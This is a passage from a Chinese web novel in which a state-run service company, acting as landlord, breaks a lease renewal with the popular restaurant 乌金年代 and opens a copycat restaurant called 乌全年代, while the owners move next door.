当时贺明军徐和平要与生活服务公司签一年的租房合同,贺明珠在得知后,软磨硬泡之下,要求对方赠送了三个月的免租期,总共是十五个月。 如今过去一年多的时间,租房合同还差两个多月才到期。 生活服务公司的领导们一愣,有人就说:“管他到期没到期,我们单位的房子,想不租就不租!” 旁边的人提醒道:“有合同呢,白纸黑字的……” 那人就说:“合同算什么,我们不认的话,那就是一张废纸!” 旁边的人又提醒道:“合同上写了违约金,违反的话要赔钱。” 众人面面相觑,都忘了这一茬。 生活服务公司的总经理拍板道:“把合同找出来,我看看。” 租房合同被从档案室的角落里翻了出来,鲜红的公章已经有些暗淡,上面的违约条款依旧醒目。 【若任一方违反本租房合同之约定,则违约方应向守约方赔偿一万元。】 合同在众人手中传阅,看过的人都沉默下来。 总经理先开口:“当时谁负责审的合同,怎么能写这一条?这不是给单位找事儿吗?” 审合同的是办公室主任,他低声下气地解释: “当时不是怕对方和那些皮包公司似的,干了一半跑路嘛……” 原本是用来约束对方的条款,没想到现在反而成了生活服务公司的枷锁。 总经理也无奈,重重叹一口气:“算了,就让他们干完这两个月,等时间一到,就赶紧撵人!” 为了弥补自己的过错,办公室主任自告奋勇道:“我去找租房的人,到时候乌金年代前脚滚蛋,后脚其他人就搬进去。我就不信了,这么好的房子,能没人想租?” 然而,寻找新租客的进展很不顺利。 生活服务公司吃一堑长一智,在吃过乌金年代的亏后,再和意向租客谈起租金时,咬死了要营业额的百分之十,一分不让。 毕竟在他们看来,这房子地段好、人流量大,谁来做生意都是躺着挣钱,是租客求着他们才对。 事实上,生活服务公司把招租的消息放出去后,短时间里确实引来了不少求租人士。 人们都将乌金年代的红火看在眼里,做生意要的就是人气,人气越旺盛,生意越兴隆。 换句话来说,人气就是财气。 即使生活服务公司的房子之前无人问津,现在已经被乌金年代盘活了,房子变成了聚宝盆,哪怕是依靠之前饭店顾客的惯性,新开的店也能积攒三分人气。 现在矿务局里做买卖的人不少,开饭店的也很多,都想成为第二个煤矿人家或乌金年代。 看看贺家,才两年时间,就从欠债的破落户变成了现在这副富裕模样,一万块钱的大房子是说买就买,听说还在家里安了电话,真是财大气粗。 因此,当传出乌金年代的房东要收回房子、重新招租时,立刻就有无数人上门询价。 大家都知道这房子好,租金肯定便宜不了,心理价位是五百块以上一千块以下,要是能保留屋内装潢,还可以再多加二百块。 然而,生活服务公司上来就要营业额的百分之十,这就超出了求租者们的心理预期了。 说实话,谁做生意是为了把一半以上的利润贡献给房东啊?! 有人试图和生活服务公司讲讲价,营业额的百分之十实在是太高了,能不能降低一些,哪怕是营业额的百分之五也行啊。 生活服务公司负责对接的人却倨傲道:“就这个价,你能租就租,不能租就算了,想租我们房子的人多了去了,不缺你一个。” 求租者无语了:“谁能接受这条件啊!你们也太离谱了,都是做生意的,你们不知道营业额百分之十有多少吗?” 事实上,他无意间说出了一个真相。 那就是生活服务公司确实不清楚营业额的百分之十意味着什么。 生活服务公司之前生意兴隆完全不是因为公司的经营手段出色、管理高效得力,而是因为做的是垄断生意。 受政策限制,很长一段时间内矿务局市面上只有生活服务公司这一家提供基础生活服务的公司,人们想要洗澡、理发、照相,就只能去国营的浴池、理发馆和照相馆。 无论有多怨声载道,但当选择有且只有一个时,也只能憋着气继续消费,就算从此以后在家洗澡、自行理发,也还是要照相吧。 垄断意味着生活服务公司不需要在经营管理下功夫,只需要坐在办公室喝茶看报,就会有源源不断的小钱钱飞来。 对于生活服务公司来说,什么固定成本变动成本,什么毛利润净利润,那都是不需要考虑的事。 也因此,当实施改革开放政策后,生活服务公司成了第一批受到巨大冲击的国企,陷入了严重的经营困难中。 但国企机制本身的僵化和滞后性使其在面对突如其来的变化时,无法做到及时有效的应对,大多数人还沉浸在过往荣光中。 怨声载道比做出改变要容易得多。 也就是这样的房东,才能提出营业额百分之十的租金的离谱要求。 在生活服务公司招租的过程中,不断有求租者兴冲冲地上门,没多久又气呼呼地离开。 “百分之十的营业额太高了,不行,我接受不了,就算每月一千块的租金都行,但按营业额提成,没得谈。” 对接人颇为不屑:“没得谈就没得谈,好像我们求着你租房似的。” 下一个人还是同样的话:“不行不行,你们怎么能按营业额来收租金呢?全中国也没有这样 的事!” 对接人烦道:“你管其他地方有没有这样的事,我们公司就这个要求,能行行,不行就拉倒。” 再下一个人尝试谈判:“营业额不行,我给你净利润的百分之十,这也很高了,我们好几个人凑份子做买卖,有的人分红还没有百分之十呢。” 对接人的脑袋摇得像拨浪鼓:“不可能不可能,必须是营业额,我们领导说了,除了营业额的百分之十,其他的都没得谈。” 那人也摇头了:“你们那是什么领导,根本不懂生意嘛。生意哪有这样做的,我就不信你们单位能找到愿意按营业额来交租金的人。” 时间长了,对接人自己心里也有所怀疑。 他向上级汇报时,忍不住说道:“领导,租金是不是要改一改?要还是按营业额百分之十来的话,恐怕找不到愿意租房的人啊。” 上级说:“怎么可能?我们房子这么好,租房的人来了就能挣大钱,怎么可能没人愿意租房?” 他语重心长道:“小张,你年纪轻,容易被这些买卖人骗了,他们嘴上说的没一句真话,把钱看得比自己命都重,能压下去一点租金,他们就能多赚一点钱。你要稳住阵脚,千万不能被他们骗了啊!” 对接人一听这话,脑子里迷迷糊糊的,心想真的是这样吗?真的是求租者们想要压价吗? “好的,领导,我知道了,您放心,我肯定不会让他们得逞的。” 嘴上是这么说,他心里的某个角落藏着疑惑没说出来。 如果一个求租者这么说是为了压价,可每一个来单位的求租者都是这么说,他们之间总不可能是串通一气吧? 难道,单位设置的租金条件真的很不合理吗? 作为下面干活的小喽啰,对接人将疑惑藏了起来,依旧按照上级的指使,咬死了租金要营业额的百分之十。 随着日子一天天地过去,来上门询价的求租者越来越少。 渐渐地,在矿务局的买卖人中间流传着一个小道消息,某家不指名不道姓的单位穷疯了,穷得都把自家办公楼租出去一层,租金还敢要营业额的百分之十。 生活服务公司的领导有些坐不住了。 求租者不上门也就算了,但单位与乌金年代的租房合同快要到期了。 要是房屋租期届满时,他们还没找到愿意接手房子的租客,难道真的要让房子砸在手心吗? 虽然每个月三百块的租金现在看着不算多,但能给公司里五六个职工发工资,有效地减轻了生活服务公司的财政压力。 要是没找着新租客时就把乌金年代给撵走,下个月没了无缝衔接的租金,公司可就要两头落空了。 俗话说得好,做生不如做熟,要是乌金年代愿意接着租下去的话,也不是不能谈一谈的。 想到这里,生活服务公司的总经理叫人去乌金年代,试探一下对方的态度。 这次去店里的人换成了一个沉稳的中年职工,脾气温和得很,是单位里出了名的老好人。 这天,正好贺明军在乌金年代里巡店,当听到楼上单位来人时,他嘴角微微勾起。 果然,是他们先坐不住了…… “您好您好!” 贺明军热情地迎上去,握着对方的手来回上下晃动。 中年职工受宠若惊,本来以为要被坏脾气的老厨子劈头盖脸骂一顿,没想到自己会受到这样客气的对待。 看来乌金年代也很想继续租他们单位的房子,这下租金的事就好谈了。 没想到,他却听到面前这个友善的漂亮青年说: “您是来通知退租的的吧?别担心,我们都准备好了,随时能搬家,肯定不会耽误你们收房子的!” 中年职工:??? 中年职工:!!! 第140章 第140章出尔反尔的房东…… 乌金年代不打算续签租房合同??? 当得知这个消息后,生活服务公司集体震惊了。 不是,这么好的地段,这么兴旺的生意,这么多的熟客,乌金年代说不要就不要了? 总经理连声地问:“你都听清楚了?是饭店老板和你说的?你是不是弄错人了?” 中年职工咽了下口水,有点紧张地说:“是、是饭店老板吧……长得挺年轻的,但我听厨师和服务员都叫他老板……” 办公室主任也问:“老板亲口和你说不继续租房了?” 中年职工镇定了些,说道:“对,他说随时都能搬家,问我们什么时候来收房。” 生活服务公司的领导们面面相觑。 这下好了,吊胃口不成,反而自己坐蜡,现在进退两难了。 生活服务公司又紧急开了个会,会议主题是讨论如何让乌金年代续租。 上次开会的主题是如何涨租金,出发点是好的,但执行太困难,百分之十的营业额抛出去,竟没一个能接下的。 到最后,一腔的雄心壮志落了个竹篮打水一场空。 等到这次的会议,敢于大胆提议的人没了。 会议桌上,大家你看我,我看你,谁也不第一个出头发言。 要是跟上次似的,自以为出了个绝妙的好主意,没想到落地时被人毫不客气地撅了回来,那可就不止是丢脸可以概括的了。 最后还是办公室主任觑着总经理的面色,率先开口:“既然乌金年代不打算续租,那我们是不是得赶紧找下一家租房的?” 过了一会儿,有人才说:“在找了,可一个多月过去,没一个合适的租客。” 办公室主任又说:“要是放低点要求呢?比方说降一降租金条件?” 又有人说:“降租金也不成,他们担心我们会在租到一半时毁约涨租金,现在都不肯上门了。” 这就有些尴尬了。 原本位置地段、客流量、名声都极佳的房子,就因为有这群过于贪婪短视的房东,而吓退了绝大部分的租客。 这也不行,那也不行,难道真的要把房子收回来,白白空置着吗? 办公室主任也不说话了。 说到底,这是公家的房子,有没有租金、租金有多少,影响的是公家利益,和个人关系不大。 能有租金进账是好,没有也无所谓,反正职工拿的都是死工资。 没人说话,气氛一时有些沉闷。 总经理坐不住了,主动开口道:“百分之十的营业额就先不提了,毕竟这些做买卖的存在严重的资产阶级思想,被金钱蒙蔽了双眼,沾染上了一切向钱看的恶习,没有为人民奉献的精神……” 听着总经理口中滔滔不绝的八股文,在场的其他人腹诽:之前把租金条件设置得这么高,难道就不是在“向钱看”吗? 最后,总经理总结道:“租房的事还是要和乌金年代好好谈一谈,毕竟我们双方在这一年间也算是合作愉快,还是不要轻易破坏双方的友谊。” 他看向办公室主任,对方心中立刻就涌起了不祥的预感。 “你代表我们生活服务公司去和乌金年代谈一谈续租的事,我们两家又没有什么深仇大恨,一切都还有得谈嘛。” 办公室主任笑得比哭都难看。 “行、行……我争取,争取……尽力而为……” 总经理不满道:“不要尽力而为,是一定要办成!” 办公室主任暗骂:要是一定能办成,你怎么自己不上呢? 合着要是谈成了就是领导的功劳,要是没成就是他的过错。 这做派不就是在战场时上级喊的是“给我上”和“跟我上”的区别吗? 突然,办公室主任灵机一动,问总经理:“要是饭店问起续租的租金,我们要报多少钱?” 总经理沉吟:“至少不能比三百块低吧……越高越好,能要一千就别要八百!” 办公室主任承载着谈判的重任,从单位出来,下了楼,来到了位于一楼的饭店。 正值饭点,店内满满当当的人,连落脚的地方都没有。 办公室主任一边千辛万苦地挤进去,一边心想,饭店生意这 么好,赚的钱肯定多,租金那点钱就不算什么了吧?如果搬了家,饭店现在积累的人气就全没了,还要从头再来。 他找到正在后厨指挥的费立广,在喧闹的环境中,扯着嗓子把自己的来意告诉了对方。 费老头掀掀眼皮,不冷不热地来了一句:“续租是吧,行,我知道了,你回吧,我会转告老板的。” 办公室主任不肯走,又磨蹭了一会儿,见店里没人搭理他,也没人客气地让他坐下来吃顿便饭,呆站一会儿后,他悻悻地走了。 隔天,乌金年代反馈的续租条件就被送到了总经理的办公桌上。 十年租期,首年每月租金六百元,下一年的租金按百分之五递增。 “每月才六百块钱?” 总经理连连摇头:“不行不行,太少了,至少要一千块,而且递增幅度必须是百分之十。” 办公室主任麻溜下楼,把总经理的指使转达给了乌金年代。 乌金年代的回应也很快—— 首年每月租金降为五百块,其余条件不变。 办公室主任在得知乌金年代提出的新续租条件后,人都愣了,怎么还有反向砍价的? 双方谈价难道不是你说十块,我说二十块,最后取个双方都能接受的平均值十五块吗? 怎么会有人的谈价策略是,第一次叫价六百,被驳回后,第二次叫价就变成了五百,要是还有第三次的话难道就要叫价四百了吗? 办公室主任很为难,不知道要不要把租金降为五百块的消息告诉总经理。 总觉得这种话要是说出去了,自己好像就变成了噩耗派送员乌鸦…… 最后,办公室主任还是委婉地将这个消息告诉了总经理。 他低着头,都不忍心看总经理的表情了。 总经理脑子一片空白,下一刻就发怒道:“他们是什么意思?!我们敢还价的话,就拿降租金来威胁人吗?!” 办公室主任小声地劝:“可能饭店那边是觉得第一次开的条件就是最好的条件了吧……” 总经理勃然大怒:“不租了!房子空着也不租给他们!” 当然,不租是不可能的。 在双方你来我往的几次拉锯战后,最终还是回到了乌金年代第一次提的续租条件,还增添了一条,同等条件下承租方享有优先续租权和购买权。 租房合同是乌金年代这边起草的,生活服务公司吃一堑长一智,找来矿务局法律顾问处的公职律师来审阅合同。 律师看完合同后,连连追问这是谁起草的,内容之严谨周密,完全可以作为法学院的学习模板。 ——贺明珠笑而不语,深藏功与名。 合同敲定终稿后,在签署用印前,生活服务公司来了一位不速之客。 “领导您好,听说咱单位要出租楼下的房子?” 来的人像模像样地穿了套格纹西装,胳肢窝里夹着皮包,脚蹬一双油光锃亮的三接头皮鞋,左手伸出来时,有意无意间露出手腕上的金表。 不过虽然穿着体面,但这人长得獐头鼠目,垫肩西装更衬得他下颌像老鼠似的尖。 他进了办公楼后,堆了满脸的笑,见人就散烟,一路问到了总经理办公室。 总经理在国企待久了,没见识过这号时髦人物,一时间有些好奇,就问道:“你问租房的事干什么?难不成你还想租房?” 来人一笑,露出一口黄色的四环素牙。 “领导,我是来谈合作的。” 说话间,他拿出一张名片,双手递给了总经理。 这年头名片还是稀罕物,总经理稀奇地拿起来左看右看,只见雪白的硬质纸片上写着几行字: 贾忠实 五洲国际贸易公司董事长 总经理“哟”了一声,说:“看不出来啊,您还是公司董事长呢。” 贾忠实嘿嘿直笑,谦虚地说:“还好,还好,我们公司年收入也就几百万而已,勉强糊口。” 几百万?! 总经理不由得坐直了些,问道:“你们公司是干什么的,一年能挣几百万啊?” 贾忠实说:“也就是做做国际贸易,把国内的商品卖到非洲,再把当地的矿产运回国内,一趟下来挣个十几万不是问题。” 听他说得轻松,总经理眼热不已,酸溜溜地问道:“那你怎么不继续做下去,反而要来矿务局这种小地方租房?” 贾忠实长叹一口气。 “我实话跟您说吧,那非洲简直不是人呆的地儿,蚊子比巴掌都大,三天两头的闹疟疾,我怕再呆下去,我这小身板就得交代在那儿了。再说我就是矿务局本地人,赚了钱当然得报效家乡。世界各地我都跑遍了,现在就想安安稳稳地回家养老。” 听了贾忠实的话,总经理不由得信了五分。 没全信,是因为突然来了个自称有钱的陌生人,正常人都有提防心理。 再加上现在流行下海,满街都是各式各样的公司,一板砖扔出去,能砸倒一片“经理”。 五洲贸易公司这名字听着口气挺大,但里面水分有多少就说不清了。 生活服务公司的总经理就说:“我们单位是有房子要出租,不过,也不是什么人都能租的。” 听话要听音,贾忠实立马就给总经理递了支烟,是最贵的甲级牡丹烟,价格足足是乙级烟的两倍。 这么贵的烟,平时总经理是不舍得花自己的钱去买的,但要是别人送的,那就另说了。 他美美地打着了火,深深抽了一口烟,果然,贵有贵的道理,这好烟就是口感醇厚,香味纯正,抽起来一点都不辣嘴。 看在好烟的份上,总经理提点道:“我们单位的房子是很贵的,地段好,客流量大,每个月的租金可是不少。” 贾忠实马上就说:“贵不怕,便宜没好货,一分价钱一分货,就要贵的才行。您说吧,多少钱?” 对方上道,总经理很满意,试探性地报出一个高价。 “一千,啊不,两千块,这是一个月的租金,下一年租金要递增百分之二十。” 贾忠实一拍大腿:“才这点租金?房子我租了!” 总经理没想到对方会这么爽快,急忙又说:“一次性要付一年的租金。” 贾忠实打开皮包,从里面拿出一个支票簿,唰唰唰写了几个字,撕下支票拍到桌上。 “不就是钱吗?给,一年的租金!” 总经理眼尖,一眼就看到贾忠实的皮包里塞满了钞票,都是崭新的大团结。 当他拿起支票,金额一栏写着“人民币贰万肆仟元整”,数字一栏的0多得有些晃眼。 “你等等,等等……我出去一下,马上就回来。” 总经理揣起支票,要找财务科去验一验真假。 贾忠实好整以暇地等着,没一会儿,总经理红光满面地回来了。 贾忠实说:“这下您相信我的诚意了吧?” 总经理笑得见牙不见眼:“信,信,必须信!这房子归你了,我这就让人通知楼下搬家!” 贾忠实等总经理打完电话,才说道:“领导,我有个想法,不知道该说不该说。” 总经理现在心情正好,爽快道:“你说,我听着。” 贾忠实说:“咱们单位的房子这么好的位置,就没想过自己开个店赚钱?这不比租房子来钱快?” 总经理苦笑道:“我也想,但我们单位没有做生意的人才啊,能不亏本就不错,更别提赚钱。” 贾忠实一笑,露出耗子似的两颗大黄牙。 “领导,我倒是有个主意,不如咱们两家公司合伙做生意吧,我出人,你们出房,赚到的钱两家平分,你看怎么样?” “这……” 总经理犹豫了。 鉴于刚刚贾忠实展现过财力,他倒不怀疑对方是想骗钱,毕竟把生活服务公司囫囵个卖了也拿不出两万块钱。 既然对方有钱,会做买卖,为什么要和生活服务公司这种除了有房、其他什么都没有的国营企业来合作呢? 总不能是对方有一颗为人民奉献的心吧? 大概是知道总经理的担忧,贾忠实说:“领导,说实话,我不缺钱,钱也赚够了,下辈子都花不完,现在主要是 想给自己找点事儿来干。” 总经理就问:“你可以单干啊,为什么要和我们单位合作?” 贾忠实说:“我是这么想的,我之前干的是国际贸易,天南地北地跑,到处都有关系,偏偏对老家不熟悉,谁都不认识,连机关单位大门朝哪儿开都不知道,要是没个坐地户领着,还真有点心虚。” 听贾忠实将生活服务公司形容为“坐地户”,总经理难掩自得。 呵呵,说起对矿务局的熟悉,不是他自夸,有哪家单位能比得过生活服务公司? 矿务局上上下下的大小领导们,家住哪儿、家里有几口人、有什么喜好,乃至于一周洗几次澡,没有人比总经理更了解。 “做生意讲究天时地利人和,所谓‘地利’不就是在本地得关系过硬吗?要是什么都不知道就来,等遇着了事,提着猪头都找不着庙门。” 贾忠实以格外诚恳的语气说:“领导,你们单位要是不参一股,我心里不踏实啊!” 听他这么一说,总经理心里不由得信了九分。 “成!就这么说定了,咱们两家公司联手合作,就不信比什么乌金年代差!” 说话间,总经理要将支票还给贾忠实。 没想到,贾忠实居然拒绝了。 “领导,这支票你拿着,我放心。再说,区区两万块而已,就当是我放在您这儿的押金了。” 听到这话,总经理的一颗心热乎乎的,彻底信了个十成十。 哪家骗子能舍得扔下两万块钱,这真是生活服务公司时来运转,遇上财神爷了! 转天,生活服务公司正式通告乌金年代,合同不签了,房子不租了,让饭店赶紧搬走,他们要收回来自己开店。 费立广知道这件事后,气得直骂:“妈的,当初房子破破烂烂,根本没人来,现在看我们饭店生意好,就想收回房子自己干,想得美!就算饭店不开门,我也要继续占着房子!” 贺明军也很吃惊,找人去打听消息,得知是生活服务公司要和某个做国际贸易的私人老板合伙做生意。 再打听下去,听说是要接着开饭店,现在已经在招厨师了。 这就有点恶心人了,见乌金年代生意好,就要把房子抢回来自己开饭店。 贺明军把这件事告诉贺明珠,问她要怎么办。 贺明珠并不奇怪,这种事情在上一世多的是,她见的太多了,已经有些麻木。 一些房东缺乏自知之明,见租客生意做得红火,日进斗金,就眼红不已,想要抢来自己干,哪怕要付违约金也在所不惜。 这种情况下,房东贸然冲进商界,经常是落得个一败涂地;而租客被迫离开发家地,没了当初的天时地利人和,东山再起也并不容易。 最后的结果往往是两败俱伤。 贺明珠问道:“二哥,你有什么想法吗?” 贺明军说:“占着房子不搬,强行续租,楼上单位要是敢动粗的话,就和他们斗争到底,每天去饭店门口泼大粪——” 贺明珠的眼睛越瞪越大,然而,贺明军忽然话语一转:“当然,这是不可能的。” 贺明珠恼羞成怒,气得在他身上锤了好几下。 “吓死我了!谁让你说话大喘气的?!” 贺明军作势被打疼,讨饶道:“好了好了,我开玩笑的,你别生气。” 贺明珠严肃地问他:“你到底想要怎么处理?认真的!” 贺明军配合地正色道:“当务之急是找到新房子,尽快搬家,不能出现空档期,饭店的生意不能受影响。” 贺明珠点点头,这个思路是对的。 不能因为要报复敌人,而忘了自己原本的目标。 贺明军又说:“不过这事儿也不能这么算了,不然他们还当我们饭店是好欺负的软柿子。” 生活服务公司实在是欺人太甚,先是提出离谱至极的“营业额百分之十”作为续租的租金,谈不拢就去四下找新租客,实在找不到又回过头来腆着脸要和乌金年代继续谈续租。 双方你来我往谈判了半个月,好不容易确定了最终的续租条件,将要签合同时,又突然反悔。 这样出尔反尔、毫无商业信用的单位,哪怕房子再好,都不值得去租。 贺明珠挑眉,略带嫌弃地说:“你真要去泼大粪呀?” 要是贺明军敢说是,她马上就去联系街道,申请让他去当一段时间的义务掏粪工。 贺明军露齿一笑:“当然不,费老头才干得出这种事,我可是很爱干净的。” 远在饭店后厨的费立广突然打了个喷嚏,狐疑道:“谁在骂我?” 他的徒弟举着一勺盐,兴冲冲地问:“师父,现在下盐吗?” 费立广急忙制止:“别动!菜才刚下锅,你现在下盐就把菜里的水分都杀出来了,炒出来软塌塌的,还怎么让人吃!放下勺子,去切报纸去!” 为了避免浪费,学徒们统一用切报纸来练习刀工,在锅里放沙子来练习颠锅。 费立广徒弟老老实实地去切报纸了,费立广揉了揉鼻子,心想到底谁刚刚在骂老子? 与此同时,贺家兄妹正在密谋要怎么对付言而无信的生活服务公司。 贺明军摩拳擦掌:“我去贴他们的大字报,连夜贴满整个矿务局。” 贺明珠小小地泼了盆冷水:“……哥,现在不是运动时期了,大字报没用的。” 贺明军就说:“那我去举报他们偷税漏税,没有如实申报租房的税款!” 贺明珠又泼了一盆冷水:“……哥,现在租房不收税的。” 贺明军有些气馁:“合法合规的办法我想不出了,不合法不合规的办法你又不让干,那还能怎么办?” 贺明珠狡猾地笑了。 “二哥,你有没有考虑把饭店搬到隔壁呢?” 贺明军先是不解,忽然恍然大悟,对贺明珠竖起大拇指。 “还得是我妹,这种损人利己的好主意都想得出来。” 贺明珠狐疑道:“我怎么听着感觉不像是好话呢?” 贺明军嘿嘿直乐,有些刻意地转移话题:“到时候把店里能拆的都拆了,什么灶台烟道,通通拆掉。当时我们租房子什么样,现在退租时就什么样,也算是物归原主。” 贺明珠瞟他一眼,抬抬手放他一马。 “就按你说的来,总不能让人家以为我们是软柿子。” 短短半个月后,当刘爱民带着新婚妻子来乌金年代搓顿好的时,在距离饭店还有二十米时,忽然停住了脚步,不可置信地揉了揉眼睛。 “媳妇,我是不是眼花了?那儿怎么有两家乌金年代啊?!”【你现在阅读的是魔蝎小说 moxiexs】 140-150 第141章 第141章乌全年代? 刘爱民是乌金年代的老顾客,前不久还在这里办了婚宴,突然面对两家一模一样的饭店,他懵了。 “媳妇,你快 看看,我眼睛是不是出问题了?怎么有重影?” 刘爱民媳妇有点迷茫地说:“可我看到的也是两家一模一样的饭店,难道我的眼睛也出问题了?” 小两口愣在原地,犹豫着,谁也没有迈出第一步。 赵计划恰好路过,三步两步从后面赶上来,大力在刘爱民的肩膀上打了一巴掌。 “带媳妇出来吃饭呢?” 刘爱民顾不上被打的疼痛,反手拽住赵计划,连声地问:“你看到了吗?” 赵计划不解:“看到什么?” “乌金年代!两家!!!” 赵计划顺着刘爱民手指的方向看去,一时也愣住了。 “怎么会有两家饭店?开分店了?” 他兴冲冲地上前两步,回身招呼刘爱民。 “来来来,一起来!” 不待刘爱民和他媳妇动作,赵计划已经冲到了两家饭店前。 看看左边,黑底金字的牌匾,上面写着四个大字“乌金年代”;再看看右边,同样黑底金字的牌匾,上面也写着四个大字“乌金年代”—— 但,等等…… 赵计划重新看了一遍右边牌匾上的汉字,一字一顿地念道: “乌全年代?” “乌全?!” 刘爱民挽着媳妇追了上来,见赵计划傻了似的站在原地一动不动,开口喊他:“哎,站在哪儿想什么呢?” 赵计划转头看他,面色复杂:“是乌全啊,不是乌金。” “什么乌全?你在说什么?” 刘爱民没听懂,他媳妇反应快,立刻去看头顶上两个牌匾,一看就发现问题了。 “怎么一个是乌金年代,一个是乌全年代呀?” 经人提醒,刘爱民这才意识到问题,看看左边,又看看右边,一时间不知道该往哪个方向走。 除了“金”变成“全”,两家饭店简直是一个娘胎里生出来的双胞胎,不,也不是完全一模一样,左右两边的装修都很新,大体风格类似,但在一些细节上还存在不同。 就比如,左边的灯光看起来柔和明亮,右边的就有些刺眼;左边的用色和装饰恬淡而明快,右边的就有些仓促和混乱。 但这些不同之处实在是太过细微,让人很难分清。 而与此同时,右边的饭店门口站着几个面熟的服务员,正在热情地招呼客人进店。 “欢迎光临!热烈欢迎!啪啪啪!” 服务员站成两列,笑得脸像开了花,每喊一句口号,就用力鼓三下掌。 初冬的天气有些冷,但服务员们的热情似乎能加热寒风。 其中一个服务员看到刘爱民后,眼睛就是一亮,冲上来挽住他的胳膊,就往右边的饭店里拉。 “先生,我记得您,您之前在这里办过婚宴,来我们饭店吃饭吧,给您打折!” 服务员是个小伙子,看着瘦瘦弱弱,没想到力气还挺大,刘爱民被拽得踉跄两步,险些没站稳。 “不不不,你等一下!” 服务员笑靥如花,手上动作一点没停:“别等啦,时间就是金钱,浪费时间就是浪费钱!您早点进店,就能早点来点菜,也能早点吃完饭,这可以省下多少金子一般的时间啊!” 刘爱民挣扎:“我不省,不……” 眼见刘爱民要被拖进右边的饭店,赵计划急忙上前拦住人。 “哎哎哎,这位小同志,我朋友没说要来你们店吃,你拽他干什么?” 刘爱民的媳妇也说:“你们这儿有两家一模一样的饭店,我们还没选好要去哪家呢。” 服务员被迫放开刘爱民,有点没面子,久嗤了一声:“还能去哪家?当然是去我们饭店啊!” 刘爱民被拽得衣服都乱了,这可是媳妇给他做的新棉袄。 他抻抻衣服,不高兴地说:“我们要去乌金年代,不是什么乌全年代!” 服务员语塞,立刻又找到借口,理直气壮地说:“你别管是什么名字,你就说当时办婚宴的时候是不是在这个楼里办的?” 刘爱民不语,地方倒是这个地方,但…… 赵计划嘴快:“就算是在你们店里办的婚宴,可当时也不叫乌全年代啊。” 服务员说:“我们老板找大仙算过了,他五行犯金,叫乌金年代不吉利,不如把金换成全,取一个‘十全十美’的意思。” 刘爱民媳妇嘀咕:“你们老板还挺封建的啊……” 服务员说法似乎解释了饭店改名的原因,但三个人怎么想怎么觉着不对劲,迟迟没有迈步。 服务员看拉不动他们,哼了一声,见又有人过来,便忙不迭地转头朝新客人去了。 在他的招揽下,新客人纷纷进了店。 “咱还进去吗?”赵计划问。 刘爱民怎么想怎么觉着不对劲。 他不觉得小贺老板会是因为五行犯冲就随便给饭店改名的人。 要知道,当初有人问为什么要给饭店取“乌金年代”这个名字时,贺老板说乌金是煤的别称,如今煤炭在能源领域有一席之地,将来可就说不准了。 而对于完全依靠煤炭产业的矿务局来说,现在可能是最好的时代,也可能是最坏的年代。 但无论如何,这个年代总应该被记住。 所以,就有了“乌金年代”的店名。 对于贺老板来说,她会因为不知从哪儿来的大仙的一句话,就把“乌金”改成“乌全”吗? 刘爱民不这么认为。 “走,我们去左边那家店瞧瞧。” 说着话,刘爱民就率先往左边的饭店走去,另外两人也跟了上去。 左边的饭店门口没有列队喊口号的服务员,只在进门处有一个引导员,在问清用餐人数后,将他们引到店内落座。 引导员的态度十分温和礼貌,全程让人没有一丝不适的感觉,润物细无声般,妥帖地将客人带进了店内。 刘爱民他们直到坐在位置上,面前摆着一份菜单,才意识到自己已经被带入店内,要知道刚才在右边“乌全年代”时,三人都产生了强烈的抗拒心理,连店门都没进。 “啊,咱们就在这儿吃饭?” 赵计划有点懵,顺手翻开手边的菜单,“这个铁锅蛋是什么?好奇怪的名字,我得尝一尝。” 刘爱民说:“吃什么,就知道吃了,不是说好先来瞧一瞧吗?” 赵计划一拍脑门:“对啊,咱们不是来点菜的。” 他坐在椅子上扭动着身体四处张望,打量着店内的一切。 来吃饭的人不少,熙熙攘攘的,把大厅坐了个满满当当,期间他还看到了好几张熟脸,是以前来吃饭时经常能见到的。 这时,一个更熟悉的人走了过来。 “小赵,小刘,还有小刘爱人,你们来吃饭了?” 纪平波笑眯眯地走过来,手上拿着点单的纸板,也不急着催人点菜,而是和他们寒暄起来。 “饭店搬家了,是不是差点没认出来啊?” 赵计划和纪平波熟,他是快乐的光棍,工资都花在吃上,经常来店里吃饭,有时候费立广心情好还会送他一道小菜。 “好久没见啊,你们怎么搬家了?还有隔壁那家什么‘乌全’是怎么回事儿?” 赵计划迫不及待地把心中的问题都问了出来,这也是刘爱民小两口好奇的。 纪平波依旧是笑眯眯的,似乎饭店搬家以及隔壁的抄袭饭店都没有造成任何影响。 “原来的房子到期了,房东不租,我们店就得搬走。可老板怕老顾客们找不到新店的地址,索性把隔壁的房子买下来,这样就不用担心大家找不到我们了。” “至于隔壁,嗨,那做的事真是让人没法说,我还怕说了影响你们吃饭的心情。” 一听话音就是有八卦的意思,赵计划两眼放光,连声催促:“快说快说,不影响,我胃口好着呢,吃嘛嘛香!” 刘爱民也说:“纪啊,别钓我们胃口了,赶紧的,没看我媳妇还等着呢吗。” 纪平波就笑,从旁边拿了一壶热乎乎的杏仁乳,给三人各倒了一杯。 “成,那我就说了,你们可别嫌我烦。” 他就把原房东眼红乌金年代的好生意、抢了房子要自己开店的事原原本本说了一遍,期间还穿插着赵计划义愤填膺的“什么玩意儿,没素质”的骂声。 刘爱民想得多一些,问道:“既然他们要抢你们店的生意,为什么不索性把店名原模原样地抢去用,反而还起了个什么‘乌全年代’,难不成他们老板真五行犯金?” 纪平波挑一挑眉:“谁说他们不想抢我们店名了?他们不是不想抢,是没抢成。” 前几年国家颁布了首部知识产权法,同时开放了商标注册。 贺明珠是见过后世各大商家之间商标大战的盛况的,比如王老吉和加多宝之争,又比如飞人乔丹logo的中外纠纷。 凡是有志向要将品牌做成百年老店、驰名品牌的企业家,在抓产品抓销售的同时,也不能忘记商标这个重中之重。 因此,贺明珠在第一时间就注册了“煤矿人家”和“乌金年代”的商标,还成为乌城首个拥有商标的个体户。 在决定将乌金年代赶出房子后,贾忠实出了个主意,新饭店要照抄乌金年代,不管是名号还是装修或者是菜单,全方面无死角模仿,力求一个饭店版的真假美猴王,让客人们分不清哪个才是正品。 生活服务公司的总经理刚开始还觉得有点不好意思,这样会不会有点太不要脸了? 但在贾忠实的反复劝说下,他渐渐也觉得这是一个好主意。 毕竟要是开一家全新的饭店的话,需要从头开始装修、定菜单、招厨师,还需要承担试错成本,复杂而繁琐,光是想一想都头疼。 相较之下,照抄一家已经成熟的饭店看起来就要简单多了。 而且不是每个客人都有火眼金睛,能分清对面是人是鬼,迷迷糊糊地就进店花钱了。 就像是西游记里的真假美猴王,从唐和尚到猪八戒,就算是齐天大圣老家花果山的老乡猴,在面对长得和孙悟空一模一样的六耳猕猴时,也分不出哪个才是真正的大王。 